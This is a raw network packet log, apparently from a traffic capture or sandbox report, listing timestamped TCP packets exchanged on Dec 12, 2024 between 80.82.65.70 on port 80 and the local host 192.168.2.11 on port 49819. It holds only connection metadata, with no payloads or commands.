                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.936651945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.936712027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.936773062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.937433958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.937498093 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.937499046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.937645912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.938211918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.938302040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.938378096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.938448906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.002525091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.002569914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.002629995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.002834082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.002906084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.002921104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.003128052 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.003606081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.003663063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.003684998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.004029989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.004342079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.004390001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.004688978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.004906893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.004961967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.005470991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.005533934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.005542994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.006112099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.006227970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.006295919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.006364107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.006985903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.007105112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.007160902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.007802010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.007989883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.008042097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.008531094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.008577108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.008652925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.008985996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.009403944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.009527922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.009548903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.009727001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.010132074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.010204077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.010234118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.010893106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.010898113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.011020899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.011066914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.011068106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.011687040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.011781931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.011826992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.012459993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.012537003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.012553930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.012583971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.013319969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.013402939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.013461113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.013516903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.014010906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.014065027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.014131069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.014494896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.014851093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.014930964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.014976025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.015577078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.015675068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.015717983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.016379118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.016457081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.016602993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.017138958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.017378092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.017930031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.017939091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.017963886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.017991066 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.018019915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.018729925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.018764019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.018774986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.018799067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.018865108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.019526005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.019646883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.019654036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.019821882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.020291090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.020339966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.020364046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021048069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021084070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021097898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021116972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021559000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021836996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021930933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021955967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.021981955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.022650957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.022708893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.022773027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.023364067 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.023397923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.023536921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.023643017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.023667097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.024198055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.024315119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.024332047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.024358988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.024996996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.025052071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.025072098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.025271893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.079886913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.079933882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.079952002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.079973936 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.080097914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.080149889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.080236912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.080313921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.080943108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.081029892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.081059933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.081582069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.081672907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.081732035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.081737041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.081783056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.115896940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.115947008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.116002083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.116255999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.116378069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.116426945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.117079020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.117273092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.117322922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.117844105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.117955923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.118005037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.118633986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.118772030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.118822098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.119395971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.119527102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.119585037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.119585037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.120166063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.120265961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.120311022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.121031046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.121222973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.121272087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.121750116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.121814966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.121857882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.121897936 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.122524023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.122592926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.122920990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.122931957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.123348951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.123441935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.123445034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.123492002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.124072075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.124103069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.124150038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.124906063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.124975920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.124986887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.125053883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.125749111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.125825882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.125885963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.126435995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.126486063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.126519918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.126566887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.127365112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.127423048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.127610922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.127696991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.128030062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.128078938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.128110886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.128176928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.128820896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.128902912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.128953934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.129575968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.129690886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.129719973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.129775047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.130333900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.130379915 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.130438089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.130480051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.194545984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.194628954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.194641113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.194695950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.194860935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.195018053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.195055008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.195086002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.195200920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.195328951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.195838928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.195945978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.195975065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.196058989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.196580887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.196696997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.196727037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.196774960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.197386980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.197499037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.197684050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.198168993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.198244095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.198458910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.199068069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.199210882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.199253082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.199753046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.199826002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.199882984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.200517893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.200532913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.200573921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.201272964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.201334000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.201340914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.201991081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.202078104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.202193975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.202234030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.202857971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.202960014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.203011036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.203644037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.203711033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.204056978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.204102039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.204454899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.204677105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.204703093 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.204721928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.205203056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.205296040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.205328941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.205393076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.205986977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.206029892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.206099987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.206219912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.206770897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.206862926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.206918955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.207566023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.207683086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.207737923 CET4981980192.168.2.1180.82.65.70
